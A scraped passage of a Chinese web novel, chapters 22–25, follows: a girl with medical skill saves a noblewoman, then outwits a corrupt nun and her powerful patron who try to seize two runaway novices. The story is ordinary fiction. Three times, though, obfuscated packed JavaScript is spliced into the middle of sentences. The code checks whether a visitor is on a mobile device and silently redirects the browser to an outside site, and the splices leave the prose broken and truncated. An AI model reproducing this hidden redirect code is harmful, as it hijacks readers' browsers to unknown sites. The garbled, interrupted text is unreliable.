“赔礼道歉?”少年像是听到了什么笑话,嗤笑一声,“你可知这衣裳值多少银子?够你们乡下人吃半年的了。一句道歉就想了事?”他说着,又嫌恶地瞥了瞥许娇娇沾了泥点的粗布衣裳,“还有,方才你竟还咬了我的随从?若不是人群冲散了,我定要让你给我的人赔罪。” 许娇娇这才想起,刚才慌乱中确实咬了一只扒拉她的手,想来是这少年的随从。她心里微有歉意,但嘴上却不肯服软:“当时人挤人,我若不咬他,怕是早被推下去了。公子若是要我赔罪,等我找到我的同伴,定当登门致歉。但现在,还请公子先放开我,我得去找她们。” 少年见她既不卑躬屈膝,也不惊慌失措,反倒理直气壮,不由愣了一下。他长这么大,身边的人不是阿谀奉承,就是唯唯诺诺,还从未见过这般野气的乡下丫头。他的洁癖让他对许娇娇碰过自己的地方耿耿于怀,可看着她那双清亮的眼睛,竟一时不知该如何发作。 “郎君,郎君你在哪儿?”不远处传来几声焦急的呼喊,是随从的声音。 少年听见喊声,眉头皱得更紧,显然是在找他。他看了许娇娇一眼,语气依旧傲慢:“算你运气好,我没空跟你计较。下次再这般莽撞,定不轻饶。”说着,松开了攥着她胳膊的手,又取出一方锦帕,仔仔细细地擦了擦自己的手指,仿佛碰了什么不洁之物。 许娇娇揉了揉被抓得发疼的胳膊,看着他转身要走,心里暗骂了一句“臭脾气的小郎君”,正要转身往巷子深处去找静尘和静心,却忽然听见不远处传来一阵急促的呼救声: “救命!快来人啊!我家娘子晕过去了!”“有没有懂医术的?求求各位,救救我家娘子!” 许娇娇心里一紧,顾不上找同伴,循着声音就冲了过去。只见方才那顶小轿歪斜着,四周围了一圈人,轿夫和仆从急得团团转,地上躺着一位锦衣华服的小娘子,正是方才掀着轿帘露出侧脸的那位。她面色惨白,嘴唇发紫,双手紧紧攥着胸口,呼吸急促得像是要断气,眼看就要不行了。 “让让!我懂点医术!”许娇娇挤开人群,蹲下身去。 仆从们见她只是个穿着粗布衣裳的乡下丫头,顿时面露怀疑:“你一个小丫头,懂什么医术?起开,别碍事,耽误了我家娘子的性命,你担待得起吗?” “都什么时候了,还管这些!”许娇娇急道,“她这是急惊风加上心气郁结,再耽搁下去,怕是真的救不回来了!” 她一边说,一边伸手探了探那小娘子的脉搏——脉搏细促,杂乱无章,果然是急症。许娇娇想起自己随身带的小布包,里面装着她根据前世记忆配制的急救药丸,用薄荷、冰片、少量麝香和几味安神理气的草药制成,专治突发的气厥、惊风,效果立竿见影。 她顾不上多想,从布包里掏出一个小小的瓷瓶,倒出一粒褐色的药丸,又让仆从找来水,撬开那小娘子的嘴,把药丸和水一起喂了进去。 “你给我家娘子吃的什么?要是出了差错,我定不饶你!”领头的一位年纪大概三十岁左右、看模样是位管事嬷嬷,她脸色发白,紧张中带着色厉内荏的气势,伸手就要去拉许娇娇。 “别动!”许娇娇喝止她,伸手在小娘子的人中、合谷等穴位上快速按压。她的动作利落,手法娴熟,全然不像个乡下小丫头,反倒让周围的人都安静了下来。 约莫过了一盏茶的工夫,那小娘子的呼吸渐渐平稳下来,脸色也恢复了一丝血色,眼睛微微睁了开来,虚弱地喘着气:“水……水……” “娘子醒了!真的醒了!”仆从们大喜过望,连忙递上水。 许娇娇松了口气,擦了擦额头上的汗,站起身来。她刚要退到人群外,却被那位嬷嬷叫住了:“你……那位小丫头,你别走。” 许娇娇停下脚步,回头看她。那嬷嬷神色复杂地看着她,“小娘子别走,你救了我家娘子,老婆子多谢你。”说着俯身行了一礼。 那位被救的小娘子这时也撑着身子坐起来,对着她微微欠身:“多谢姑娘救命之恩。敢问姑娘高姓大名?家住何处?改日我定当登门拜谢。” “举手之劳,不必客气。”许娇娇摆了摆手,“我只是路过,略懂些医术罢了。” 她心里还记挂着静尘和静心,只想赶紧找到她们。可就在这时,方才那个傲娇的少年竟也挤了过来,他显然也看到了方才的一幕,看向许娇娇的眼神里多了几分诧异。 “你这丫头,倒还有些本事。”少年抱臂站在一旁,语气依旧带着几分倨傲,却不再是全然的鄙夷,“不过这药丸到是不错,是哪里来的?在哪个铺子购买的?看着倒不像寻常的丸药。” “我自己配着玩的。”许娇娇语气不怎么好的回答。 “你这野丫头!”那少年见许娇娇的态度似乎还在记恨刚才的事,他也有些气恼,更多的却是懊恼。一个乡下野蛮丫头,恁的粗鲁,他狠狠瞪了一眼许娇娇,转身走了。 许娇娇懒得理他,只是对着那小娘子拱了拱手:“娘子无碍便好,我还要去找我的同伴,先行告辞了。” “等等!”小娘子忙叫住她,让仆从取来一锭银子,递到许娇娇面前,“这点薄礼,还请姑娘收下,权当谢礼。” 许娇娇看了看那锭足有五两重的银子,摇了摇头:“我救人不是为了银子。何况这药丸也不值什么,娘子不必如此。” 她说完,转身就往人群外挤。刚走没几步,就听见身后传来少年的声音:“喂!野丫头,你叫什么名字?家住哪里?” 许娇娇诧异,他不是生气走了吗? 随即有点失笑,一个还在青春期的少年,何必跟他一般见识。于是也不回头,只扬了扬手:“萍水相逢,不必留名。公子若是还记恨我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“小施主,你方才去了何处?是不是遇到事了?”静尘见她神色恍惚,轻声问道。 许娇娇便把方才救人的事说了一遍,只是略过了和少年争执的部分。静尘听了,连连感叹:“你这孩子,胆子也太大了。不过幸好你救了那位娘子,也是积德行善了。” 静心也凑过来,满眼崇拜:“娇杏妹妹,你真厉害!连城里的贵娘子都能救,比那些郎中还厉害!” 许娇娇笑了笑,没多说什么。她靠在车栏上,望着窗外掠过的夜色。 可她不知道的是,此刻的菰城灯楼下,那位被救的贵女已被仆从簇拥着坐回了暖轿。她脸色依旧苍白,眼神却已恢复清明,正对着心腹嬷嬷低声吩咐:“嬷嬷,派人去寻方才那位救我的小娘子。务必要找到,好生答谢。我看她临危不乱,施救手法利落精准,绝非寻常乡野女子,此等人物,不可失之交臂。” “是,娘子。”嬷嬷应下,又心疼地为她拢了拢披风,“娘子今日受惊了,咱们快些回府吧。” “嗯。”贵女微微颔首,目光却不由自主地望向方才混乱的街口,似在寻找什么。忽然,她像是想起什么,苍白的脸上倏地飞起一抹极淡的红晕,声音也低了下去:“方才……乱成那样,也不知都有谁瞧见了。莫要让不相干的外人传了闲话去。” 她这话说得含蓄,嬷嬷却立刻心领神会——自家娘子最是在意仪态风评,今日当街晕厥,虽事出有因,却难免怕落了话柄。嬷嬷忙宽慰道:“娘子放心,咱们的人围得严实,断不会有闲杂人等靠近。纵有几个瞧见的,也绝不敢胡吣。” 贵女轻轻“嗯”了一声,指尖却无意识地攥紧了袖口,另一重更隐秘的心思,终究没好意思问出口。 他……方才是不是也在附近?他可看见了? 而另一边,被随从找到的少年正上了一辆精致的马车,他靠在车座上,想起方才许娇娇救人时的模样,想起她那双清亮又带着韧劲的眼睛,还有她那句“就当今日是我救你一回,两清了”,竟忍不住轻笑了一声。 “郎君,您笑什么?”随从见他难得露出笑意,好奇地问道。 少年收了笑,恢复了那副傲娇的模样,却又忍不住摸了摸被抓皱的衣领,语气带着几分玩味:“没什么。只是遇到了个可恶的野丫头罢了。” 马车缓缓驶离,融入菰城的夜色里。 往城外去的牛车,也渐渐消失在官道尽头。山中的风,带着寒意,吹起许娇娇额前的碎发。她望着满天星子,心里想着刚才的险境——实在是太吓人了,今后还是少往人多的地方去。好不容易穿越一次,若是被人踩成肉饼,想想都让人心寒。她打了个哆嗦,静尘以为她冷了,忙伸手揽住她的肩膀,朝自己怀里带了带。 她还是个孩子呢!静尘想。 23. 第23章 水仙姑出狱了 惊蛰过后,山里的冻土渐渐松了,崖边的迎春花抽出嫩黄的花骨朵,连空气里都带着股湿润的暖意。许娇娇蹲在药圃里,小心翼翼地将刚采的柴胡幼苗栽进新翻的土里,指尖沾着泥点,额角沁出细密的汗珠。 “娇杏,歇会儿吧,这活儿不急。”静尘端着一碗晾好的凉茶走过来,青瓷碗沿沾着两片薄荷叶,“你这几日天不亮就起身侍弄药材,再熬下去身子该受不住了。” 许娇娇直起身,接过茶碗一饮而尽,清凉的薄荷味顺着喉咙滑下去,瞬间驱散了几分倦意。她抹了把汗,看向地头整齐排列的药畦,眼里满是期待:“师姐你看,这柴胡、当归要是长得好,秋末就能收了。咱们再采些夏枯草、金银花,多配几款药丸,省的张大夫总让人来催促。” 静心蹲在一旁,正用小竹片给幼苗围上挡风的篱笆,闻言抬头笑道:“娇杏妹妹真厉害,我以前在庵里时,只认得车前草、蒲公英这些常见的,哪知道草药还有这么多讲究,如今我跟着娇杏妹妹也学了不少要草药了,。” 许娇娇拍了拍她的肩膀:“慢慢来,你已经认得不少草药,晒药也会了,往后我教你如何切脉,问诊看诊,咱们学好了医术,既能救人,也能安身。” 这话不是空话。自打第一回在菰城用自制药丸救了人,许娇娇心里行医的念头就越发清晰。之前卖草药和制作药丸攒的银子,除去日常用度,又添置了一些家当,如今药圃里种着的,都是她精心挑选的常用药材。只是她心里清楚,乡下人行医最讲资历,她一个半大的丫头,就算医术再好,也难让人信服,眼下只能先从帮衬邻里做起。 正说着,山下传来旺财欢快的叫声,紧接着是孙二根粗声粗气的呼喊:“娇杏!娇杏在家吗?” 许娇娇眼睛一亮,迎了出去。只见孙二根推着推车停在院门口,车斗里装着半车新砍的柴火,他黝黑的脸上满是笑意,手里还攥着一张折起来的药方。 “娇杏!”孙二根大步走进院,将药方递到她面前,“你金桂婶的病好多了!这是镇上王大夫看了你给的方子后,添改的新方,他说你那方子底子好,就是药量得再调调!” 许娇娇接过药方,仔细看了起来。纸上的字迹工整,王大夫在她原方的基础上,减了桂枝的用量,加了一味茯苓,旁边还批注着“健脾利湿,兼顾正气”的字样。她点点头,心里有了底:“王大夫说得对,金桂婶身子虚,桂枝性温,用量多了容易上火,加茯苓正好能平衡。” 孙二根挠着后脑勺,一脸佩服:“你这孩子,比镇上的大夫还懂行!当初我把你那方子拿给王大夫看,他起初还不信是个丫头写的,说这方子配伍严谨,不像野路子。后来听我说了你阿爹的事,他才连声说‘后生可畏’。” 静尘端来板凳,给孙二根倒了碗水:“二根叔,金桂婶现在能做活了吗?” “能了能了!”孙二根喝了口水,语气越发激动,“前几日还能帮着喂猪、做饭呢!她说这方子熬的药喝着舒坦,不像以前的药,苦得烧心还没效果。这不,她让我特意来谢谢你,还让我给你捎了些新做的豆包。” 他说着,从车斗里拎出一个竹篮,里面的豆包还冒着热气,松软的面皮透着淡淡的豆香。静心凑过去闻了闻,馋得咽了口口水,惹得众人都笑了。 许娇娇收下豆包,又从屋里取出一包配好的药材,递给孙二根:“这是我这几日闲着配的食疗方子,用山药、莲子、小米熬粥,每天早上喝一碗,补身子的。” 孙二根接过药材,千恩万谢:“娇杏,你真是我们家的大恩人!以前金桂婶看病,前前后后花了好几两银子,也没见好,没想到你给的几个方子十几副药就给治利索了。” 送走孙二根,许娇娇把豆包分给静尘和静心,自己拿着那张药方回到屋里。她将药方仔细收好,又取出纸笔,把王大夫的批注和自己的思考记下来。窗外的阳光透过窗棂照进来,落在泛黄的纸上,她忽然觉得,这样的日子虽然平淡,却比前世在商场上勾心斗角要踏实得多。 日子就这么不紧不慢地过着,许娇娇每日侍弄药材、钻研医书,静尘和静心则把茅屋打理得井井有条。 自打前年传开了她会医术的事,越来越多的人来找她看病,她都分文不取,只偶尔收下村民送来的鸡蛋、蔬菜,日子倒也过得热络。 可这份平静,在四月初的一天被彻底打破了。 那天许娇娇正在晒药,李婆子挎着个竹篮匆匆忙忙地上山了,她脸色苍白,嘴唇哆嗦着,一进门就抓住许娇娇的手:“乖囡,不好了!出大事了!” 许娇娇心里一沉,连忙扶她坐下:“阿婆,您别急,慢慢说。是不是村里出什么事了?” “是水仙姑!”李婆子喝了口水,情绪才稍稍稳定些,“水仙姑被放出来了!今儿一早,县衙的人把水月庵的封条揭了,她带着两个新收的姑子,大摇大摆地回庵堂了!” “什么?”静尘和静心同时惊呼出声,静心手里的木盆“哐当”一声掉在地上,水洒了一地,她脸色惨白,浑身都在发抖,“她、她怎么会被放出来?账本和卖身契不是都被官府收走了吗?” 李婆子叹了口气:“说是新来的周明府重新审了案子,说那些证据是伪造的,证据不足无法判案,就把她给放了。村里人都说,水仙姑在府城有关系,是那个常来庵里的王大官人使了银子,这才脱了罪。” 许娇娇眉头紧锁,心里翻江倒海。她早知道水仙姑背后有人,却没想到这新县令刚上任就敢如此明目张胆地徇私。 “那、那她会不会来找我们报仇?”静心抱着胳膊,缩在墙角,眼泪在眼眶里打转,“她手里还攥着我们的卖身契呢……要是她拿着契书告官,我们就是逃奴……” 这话像一盆冷水浇在静尘头上。她原本强作的镇定瞬间崩塌,脸色煞白地跌坐在凳子上。是啊,卖身契还在水仙姑手里,那是官府认可的白纸黑字。就算她们逃到天涯海角,只要水仙姑一纸诉状,官府就能把她们当逃犯抓回来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222034|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李婆子也急道:“娇杏,你们可得当心些。今儿早上水仙姑回庵堂的时候,站在庵门口眼神毒得很,当着众人面就说要清理门户,还特意提了静尘和静心的名字,说她们偷了庵里的东西逃跑,要抓回来送官。” 许娇娇沉默了片刻。她心里清楚,水仙姑这次有恃无恐地回来,绝不只是放几句狠话那么简单。那个王大官人既然能打通县令的关节,就说明他们在本地已经织起了一张网。而她自己——一个父母双亡的孤女,在水仙姑眼里恐怕跟只蚂蚁没区别,想捏死随时都能捏死。 她想起刚穿越来时,在茅草屋病得奄奄一息的情形。一个哑巴孤女,病死了还得费事埋,不如趁早丢出去,死在外头干净。落溪村的村民都说她命硬克死了父母,水仙姑也信这个,生怕被她克到。 现在想来,水仙姑怕是肠子都悔青了——当初怎么就没把这个克星彻底弄死,反而让她活了下来,还反过来捅出这么大的篓子。 “阿婆,谢谢您特意跑来告诉我。”许娇娇深吸一口气,脸上努力维持着平静,“您先回去,这几日尽量别往山上来,免得牵连您。” 送走忧心忡忡的李婆子,茅屋里的空气沉重得能拧出水来。 静心终于忍不住哭出声:“怎么办……我们逃吧,逃得远远的……” “往哪儿逃?”静尘苦笑着摇头,“没有路引,我们连县城都出不去。就算逃出去了,被抓住就是死路一条。” 许娇娇走到窗边,望向水月庵的方向。远山如黛,庵堂的屋顶在绿树丛中若隐若现,看似平静,却像一头蛰伏的野兽,随时可能扑过来撕咬她们。 她知道,水仙姑现在一定恨毒了她。若不是她在庵里病倒时没下狠手,若不是当时只想着把这个克星丢出去自生自灭,就不会有后来这么多事。水仙姑肯定在想:一个孤女,怎么就把她害得进了大牢?虽然只在牢里待了大半年,但那一定是她这辈子最大的耻辱。 而现在,水仙姑脱身了,靠着王大官人的关系和银子,靠着和新县令的交情。她怎么可能咽下这口气? “我们不能逃。”许娇娇转过身,眼神坚定,“逃了就是认罪,逃了就是承认卖身契有效。我们必须留下来,正面应对。” “可我们拿什么应对?”静尘的声音发颤,“她手上有我们的卖身契,那是官府盖过印的。就算我们说她拐卖,空口无凭,新县令会信我们吗?” 许娇娇走到桌前,铺开纸笔:“所以我们需要更有力的证据,需要能把案子捅到更高处的人。” 她开始写信,写给菰城的张东家,写给所有可能帮得上忙的人。她不知道这些信能起多大作用,但这是她现在唯一能做的。 她给落溪村的赵秀才也写了一封信。 接下来的几天,山里的气氛一天比一天紧张。旺财变得异常警觉,稍有风吹草动就狂吠不止。静尘和静心夜里睡不安稳,常常从噩梦中惊醒,梦见被官差抓走,梦见又回到水月庵那个暗无天日的地方。 24. 第24章 空城计 许娇娇表面镇定,心里却像压了块石头。她一边加紧配制各种防身的药粉——迷魂香、痒痒粉、暂时让人四肢无力的麻沸散,一边教静尘和静心怎么使用。又在院子周围布置了简易的陷阱和警报装置,用细绳串起铜铃,藏在草丛里。 她很清楚,水仙姑不会等太久。以那个女人的狠毒与心急,怕是恨不得立刻就把静尘静心抓回去折磨。果然,第五日午后,山下传来了不同寻常的喧哗。许娇娇攀上屋后高石眺望,心倏地一沉。只见一队穿公服的人正沿山路而上,为首是个留山羊胡的官差,旁边跟着的,正是身着崭新僧袍、手捻佛珠却满脸阴笑的水仙姑!更让她心头警铃大作的是,水仙姑身侧还有个穿绸缎长衫、体态微胖的中年男子,看气度衣着,像是个颇有体面的管事。 “她们带官差来了……”静心的声音在发抖。静尘紧紧攥住许娇娇的手,指尖冰凉:“娇杏,我们……” “别慌。”许娇娇压下心头翻涌的寒意,语速快而清晰,“按商量的做。静心,立刻下地窖,无论如何别出声。师姐,药粉分装好,藏妥。” 她自己迅速回屋,从床底拖出早已备好的小木箱。院门被粗暴拍响时,许娇娇已立在院中,腰背挺直。门开,山羊胡男子带着四名公人闯入,水仙姑与那王管事尾随其后。男子扫视一眼简陋院落,目光钉在许娇娇身上:“你就是许娇杏?” “正是民女。”许娇娇不卑不亢。 “好。”男子自袖中取出一纸文书,抖开,“我乃归平县衙押司胡文。水月庵主持水仙师父,状告你拐带庵中女尼静尘、静心,并盗取庵产。此乃明府大人签发拘票,跟我们走一趟吧。” 水仙姑脸上胜利者的笑容几乎压不住。能站在这里,本身就是信号——原以为栽定了,不料王大官人上下打点,又逢前任县令调任、新知县周大人初来乍到不谙内情,竟真被他寻着关节,以“证据尚需核实”为由,将她捞出。这让她底气更足,恨意也更深。 “许娇杏,”她尖声上前,抖出两张泛黄的纸,“看清楚了!静尘、静心的卖身契在此!白纸黑字,她们生是我庵里的人,死是我庵里的鬼!你一个不知哪儿来的野种,也配跟我斗?” 一旁的王管事这才慢悠悠踱步上前。他约莫四十,面容精干,嘴角习惯性噙着一丝客气却疏离的笑。先是对胡押司拱了拱手,才转向许娇娇,语气平和得像在谈论天气,内容却淬着冰:“许小娘子,年少意气,可以体谅。不过,契据是衙门认的死理。水仙师父的人,理当由她领回。今日之事,依鄙人看,不如就此了结。你将人交还,磕头赔个不是,我们老爷念你年幼无知,或可不再追究拐带、诬告之责。若真闹到公堂之上……”他略拖长语调,未尽之意比直白的威胁更让人心头发寒。“于你,于周明府新上任的官声,恐怕都无益处。我们老爷,也是一片维护地方安宁、体恤父母官的苦心。” 许娇娇看着眼前三张面孔——胡押司的公事公办里藏着为难,水仙姑的色厉内荏,王管家那将王家权势与衙门体面巧妙捆绑的绵里藏针。他们根本没打算与她平等对话。 “胡押司,”她抬起头,声音清晰镇定,“水仙姑告我拐带,可有实证?两位姐姐自称是被略卖的苦主,与此纸来历不明的契据,孰真孰假,难道不该当堂对质、细加审问?仅凭一纸疑点重重的文书便定案拿人,恐难服众,亦有损衙门明察之誉。” 胡押司皱眉,硬声道:“契据在此,便是凭证!休得胡搅蛮缠,妨害公务!” “若是拐卖,这卖身契本身便是赃证,何来合法凭证之说?”许娇娇毫不退让,目光清亮,“民女这里,倒有证据指向水月庵多年来拐卖女子、逼良为娼之实。相关证物证言,此前已有人送往江南东路提点刑狱司衙门。胡押司今日若执意强行拿人,只怕日后刑狱司过问起来,不好交代。” 胡押司脸色微变,不由侧目看向王管家,眼神透出请示之意。牵扯到跨路级的刑狱司,已超出他一个小小押司能处置的范围。 王管家冷哼一声,眼中锐光一闪:“黄口小儿,也敢妄言宪司之事?你说有人送证据,人何在?物何在?空口白话,谁不会编?” 水仙姑趁机尖声煽动:“胡押司!别听这小贱人妖言惑众!她最会骗人!快抓起来!” 公人上前两步,气氛骤紧。许娇娇面色不变,不疾不徐地从袖中取出数页折叠整齐的纸,展开。纸张洁净,墨迹工整有力。 “此乃依照原本送往菰城张记生药铺张东家、刑狱司衙门,以及元宵夜我所救那位小娘子府上的书信,一字不差誊抄的副本。”她将纸页微微示出,最上方“菰城刑狱司衙门谨启”一行字清晰可见,“信中详述水月庵诸般恶行,并写明——若我今日蒙冤遭难,必是有人勾结官府,欲行灭口掩盖之事。” 她抬眼,目光扫过脸色骤变的水仙姑与眼神游移的胡押司,最终落在王管家脸上:“真信已于半个时辰前,由可靠之人携往山下。若我平安,此事或尚有转圜余地;若我今日身陷囹圄或遭遇不测……”她将誊抄的信纸缓缓收回袖中,声音不高,却字字凿心:“这些副本,便是明日呈交各位收信人手中,用以核验真伪、追问下落的凭据。到那时,来的恐怕就不止县衙的差爷了。王管家,王大官人与周明府既是故交,当知官场最忌何事——那便是小事闹大,捅破天去。你们今日若执意以权压人,明日,周明府包庇略卖、欺压孤女的传闻,便会直达府城。届时,您这位故交的新官位子,还坐得稳吗?” 王管家的脸终于沉了下来。他死死盯着许娇娇手中的信纸,眼神阴晴不定。老爷确实打点过,但这新任的周县令,老爷也提过,似乎比前任更难揣摩,并非能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222035|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻易拿捏之人。此番派他来,是看重他办事稳妥。若真在这小阴沟里翻了船,坏了大局……老爷的怒火他承受不起。更棘手的是,这丫头的话半真半假,万一真有人证物证已送出,万一真闹到刑狱司……“你吓唬谁?!”水仙姑急了,扯着胡押司的袖子,“快抓人啊!她虚张声势!” “住口!”王管家突然厉声喝道,狠狠瞪了水仙姑一眼。他深吸一口气,走到许娇娇面前,压低声音,每个字都像是从牙缝里挤出来的:“小娘子,好胆色,好心计。但你要想清楚,跟我们老爷作对,是以卵击石。今日我可以暂且退一步,但卖身契还在,只要老爷愿意,随时可以再来’请’你。” 许娇娇迎上他冰冷的目光,毫无惧色:“王管家,鱼死网破,非我所愿。但若贵府执意要将略卖良人、通奸犯科乃至贿赂官员这些勾当,从一桩民间纠纷,闹成一件惊动宪司、直达天听的刑案,我也只好奉陪到底。您不妨猜猜,府城的青天大老爷,是更信一纸来历不明的旧契,还是更信活生生的人证、层层转手的赃银线索,以及……一个拼死也要将真相大白于天下的孤女?” 两人目光在空中交锋,空气仿佛凝固,针落可闻。胡押司与公人们面面相觑,无人敢动。良久,王管家后退一步,脸上挤出一个冰冷的假笑:“好,好得很。许娇杏,今日算你狠。我们走。”他转身,不再看任何人,拂袖而去。 水仙姑愣在原地,满脸不甘与怨毒,却被王管家带来的两名仆从半拉半劝地拽走。胡押司深深看了许娇娇一眼,带着公人匆匆跟上。院门重新合上,喧嚣远去,只余下山风穿过竹林的低啸。 静尘从屋后闪出,脸色苍白,扶住门框才站稳。静心也战战兢兢爬出地窖。 许娇娇站在原地,直到那队人马彻底消失在山路尽头,才缓缓吐出一口一直憋在胸口的浊气,后背衣衫,已被冷汗浸湿。她知道,这仅仅是第一回合。暂时的退却,意味着更凶险的算计,将在暗中酝酿。 “娇杏妹妹,他们真的走了?”静心小心翼翼的问。 “暂时走了。”许娇娇深吸一口气,“但还会再来的。王管家今天退让,是因为他还要去请示王大官人,或许他也有顾忌,不想把事情闹大,不是因为他怕我们。” 她走到院门口,望着下山的路。夕阳把山峦染成血色,风中带着晚春的暖意,她却感到一股刺骨的寒意。 水仙姑不会罢休,王大官人恐怕也不会。她这是唱了一出空城计。用几封还没送出的信,一些不知道送往何处的证据。 “娇杏妹妹,我们接下来怎么办?”静尘轻声问,眼里的担忧让许娇娇心里一酸,她转过身,看着眼前这位善良的姐姐,看着静心胆小却对她充满了信任的眼神,还有这山中唯一的栖身之地,看着药圃里刚刚冒头的嫩苗。 “别怕”她说。 25. 第25章 搬离山中 水仙姑回到水月庵的第七日,庵堂前的香炉里只积了薄薄一层香灰。 往日里这个时节,正是春耕前后,附近几个村子的妇人都会结伴来烧香求个风调雨顺、家宅平安。可如今,庵门大开却门可罗雀,只有山风吹过檐角的铜铃,发出零丁孤寂的声响。 水仙姑站在正殿门口,看着空荡荡的院子,脸色阴沉得能滴出水来。她身上那件崭新的僧袍在日光下泛着刺眼的绸光,手里捻着的佛珠被她捏得咯吱作响。 “慧明!”她厉声喝道。 一个约莫十三四岁的小尼姑慌慌张张从侧殿跑出来,垂着头不敢看她:“师父有何吩咐?” “今早可有人来上香?” 慧明怯生生地摇头:“没、没有……只有一位老阿婆在门外张望了一下,见庵里冷清,转身就走了。” “废物!”水仙姑手中的佛珠狠狠砸在慧明额头上,小尼姑痛呼一声,却不敢躲闪,只捂着额头眼泪汪汪地站在原地。 “去,把庵门给我关上!”水仙姑转身走进大殿,看着莲花座上积了灰的观音像,心里的怒火越烧越旺。 自从她回来,这水月庵就彻底变了样。以往香火钱收得盆满钵满,现在别说香火钱,就是米粮都要她自掏腰包从镇上买。那些往日里巴结她的乡绅富户,如今都推说有事不肯登门。最让她恼火的是,连落溪村那些泥腿子都敢对她指指点点了! 昨天她去镇上采买,经过集市时,分明听见几个妇人在背后窃窃私语:“听说没?就是她,在庵里偷汉子……”“何止呢!我表姑家的小囡说,她专骗外地来的孤女,转手就卖到见不得人的地方去!”“官府怎么就把她放出来了?”“嘘——小声点,人家背后有人……” 那些话像烧红的针,一根根扎进水仙姑耳朵里,烫得她心口发疼。她当时恨不得冲上去撕烂那几个长舌妇的嘴,可她不能——王大官人把她捞出来时,那双总是带笑的眼睛里透着寒意,再三警告她:“风头没过,夹起 巴做人。” “夹起尾巴……”水仙姑咬牙念着这四个字,指甲狠狠掐进掌心。想她年轻时在汴梁西街瓦子的翠玉楼,那也是轰动一时的头牌玉芙蓉,若非当年那场要命的官司逼得她仓皇南逃,怎会沦落到这穷乡僻壤,在庵堂里扮什么尼姑! 这水月庵原是她那蠢表姐了尘出家修行的地方。她一路逃到归平县,对着表姐一顿哭诉卖惨,才得了这处容身之所。谁曾想,她很快便攀上了这县里真正的佛——王大官人王兆贵。那男人有钱有势,在归平县横着走,她只稍用从前在楼里学的几分手段,便叫他上了钩。 做露水夫妻有什么不好?各取所需。直到三年前那个雨夜,她与王兆贵在禅房里厮混,被突然回来的了尘撞个正着。了尘那张惊骇欲绝、仿佛看着世上最脏东西的脸,瞬间点燃了她心里积压多年的恐惧。 不能让她说出去。 恶念一起,便再压不住。她失手——或者说,是顺水推舟地——捂死了了尘。王兆贵起初也骇然,但很快,那双精明的眼睛里便只剩下权衡。他帮她处理了尸首,对外宣称了尘急病暴毙。从此,水月庵彻底成了她的地盘,更成了他们合伙生意的绝佳掩护——从南边拐来孤女童男,往北边那些见不得光的地方送。 这本是一桩神不知鬼不觉、钱来得又快又稳的好买卖。谁曾想,一切竟会坏在一个半路冒出来的、克死爹娘的小贱人许娇杏手里! 果然是刑克之人,专来克我的! 想到今日,她好不容易求了王兆贵派人来,满以为能捏死那丫头、抓回静尘静心,结果王进那狗才非但没办成事,竟还当着她的面被那丫头用几封信唬住了,灰溜溜地撤了! 奇耻大辱! 王兆贵避而不见,只派条狗来敷衍她;街上贱妇指指点点;连到嘴的鸭子都飞了……这一切,都是因为许娇杏。 一股混杂着恐惧、怨恨和破罐破摔的毒火,猛地窜上心头。 不能再等了。 风头?去他娘的风头! 她得想个法子,一个一劳永逸、让那个刑克贱人永远闭上嘴的法子。 “师父。”另一个小尼姑慧净小心翼翼走进来,“斋饭准备好了。” 水仙姑瞥了一眼桌上的清粥小菜,顿时火冒三丈:“就这些?连点像样的菜都没有?” 慧净吓得直哆嗦:“师父,庵里的存粮不多了,香油钱也……” “够了!”水仙姑猛地一拍桌子,“去,把后殿那些箱笼打开,取些银钱出来,明日去镇上买些鱼肉回来!” 慧净和慧明对视一眼,都从对方眼里看到了惶恐。那些箱笼里装着的,是水仙姑这些年积攒的家当,也是官府查封时漏网的那些——王大官人早一步派人转移出来的。她们都知道,这些东西见不得光。 “还愣着干什么?快去!”水仙姑厉声道。 两个小尼姑慌忙退下。 水仙姑独自坐在空荡荡的大殿里,听着山风穿过回廊的呜咽声,一种前所未有的恐慌攫住了她。她奋力了这么多年,好不容易得到的一切,一夜之间都化为虚无。她忽然意识到,就算人回来了,有些东西也回不来了——名声、威望、那些任她摆布的香客…… 而这一切,都是拜许娇杏,那个哑巴妖女所赐。 “许娇杏……”她从牙缝里挤出这个名字,“我不收拾你,我就不叫水仙姑!” 同一时间,落溪村后山。 许娇娇正蹲在药圃里查看新一批柴胡的长势,嫩绿的叶片在春风中舒展,长势喜人。可她心里却像压了块石头,沉甸甸的。 “娇杏妹妹,你看这株当归,叶子发黄是怎么回事?”静尘抱着一筐刚采的薄荷走过来,指着药畦一角问道。 许娇娇走过去仔细看了看:“是土太湿了,排水不好。等会儿在周围挖条浅沟,把积水引出去就好。”她说着站起身,擦了擦额角的汗,却没有立刻动手,反而望着远处的山道出神。 “师姐,”她忽然轻声开口,“这几日,我总有些心神不宁。” 静尘放下筐子,神色也凝重起来:“我正要跟你说。昨儿孙二根上山送柴火时说起,水月庵现在冷清得很,附近几个村子的人都不去烧香了,改去龙王祠。但……”她顿了顿,“他还说,看见有生面孔在庵堂附近转悠,不像善类。” 许娇娇的心一沉。她想起了王管家临走时那阴冷的眼神,想起了水仙姑那毫不掩饰的怨毒。 